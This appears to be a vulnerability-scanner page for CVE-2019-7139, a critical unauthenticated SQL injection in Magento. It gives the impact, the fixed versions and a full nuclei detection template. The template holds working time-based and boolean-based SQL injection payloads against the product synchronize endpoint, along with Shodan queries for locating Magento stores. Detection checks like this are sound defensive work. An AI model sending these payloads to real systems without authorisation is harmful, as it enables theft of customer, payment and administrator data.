Magento - SQL Injection

criticalseverity

9.8CVSS score

22.2%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

An unauthenticated user can execute SQL statements that allow arbitrary read access to the underlying database, which causes sensitive data leakage.

Impact

Unauthenticated attackers can execute SQL injection to extract sensitive database contents including customer information, payment details, and administrative credentials, potentially leading to complete store compromise.

Fix

This issue is fixed in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "text/x-magento-init")
Send: @timeout: 20s ; GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELE…
Positive when: duration_1>=8 and contains(content_type_1, "application/json") OR contains(content_type_2, "application/json") && contains(content_type_3, "application/json") and status_code_2 == 200 && status_code_3 == 400 and len(body_2) == 2 && len(body_3) == 2

Run it with nuclei: nuclei -id CVE-2019-7139 -u <target>

The full check

id: CVE-2019-7139

info:
  name: Magento - SQL Injection
  author: MaStErChO
  severity: critical
  description: |
    An unauthenticated user can execute SQL statements that allow arbitrary read access to the underlying database, which causes sensitive data leakage.
  impact: |
    Unauthenticated attackers can execute SQL injection to extract sensitive database contents including customer information, payment details, and administrative credentials, potentially leading to complete store compromise.
  remediation: |
    This issue is fixed in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2.
  reference:
    - https://pentest-tools.com/blog/exploiting-sql-injection-in-magento-with-sqlmap
    - https://www.ambionics.io/blog/magento-sqli
    - https://magento.com/security/patches/magento-2.3.2-2.2.9-and-2.1.18-security-update-13
    - https://github.com/koutto/jok3r-pocs
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7139
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-7139
    cwe-id: CWE-89
    epss-score: 0.22242
    epss-percentile: 0.97699
    cpe: cpe:2.3:a:magento:magento:*:*:*:*:open_source:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: magento
    product: magento
    framework: magento
    shodan-query:
      - http.component:"Magento"
      - cpe:"cpe:2.3:a:magento:magento"
      - http.component:"magento"
  tags: time-based-sqli,cve,cve2019,sqli,magento,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "text/x-magento-init")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))+OR+(SELECT*FROM+(SELECT+SLEEP((8)))a)%3d1+--+- HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=0)%20--%20- HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=1)%20--%20- HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    stop-at-first-match: true
    matchers:
      - type: dsl
        name: time-based
        dsl:
          - 'duration_1>=8'
          - 'contains(content_type_1, "application/json")'
        condition: and

      - type: dsl
        name: blind-based
        dsl:
          - 'contains(content_type_2, "application/json") && contains(content_type_3, "application/json")'
          - 'status_code_2 == 200 && status_code_3 == 400'
          - 'len(body_2) == 2 && len(body_3) == 2'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from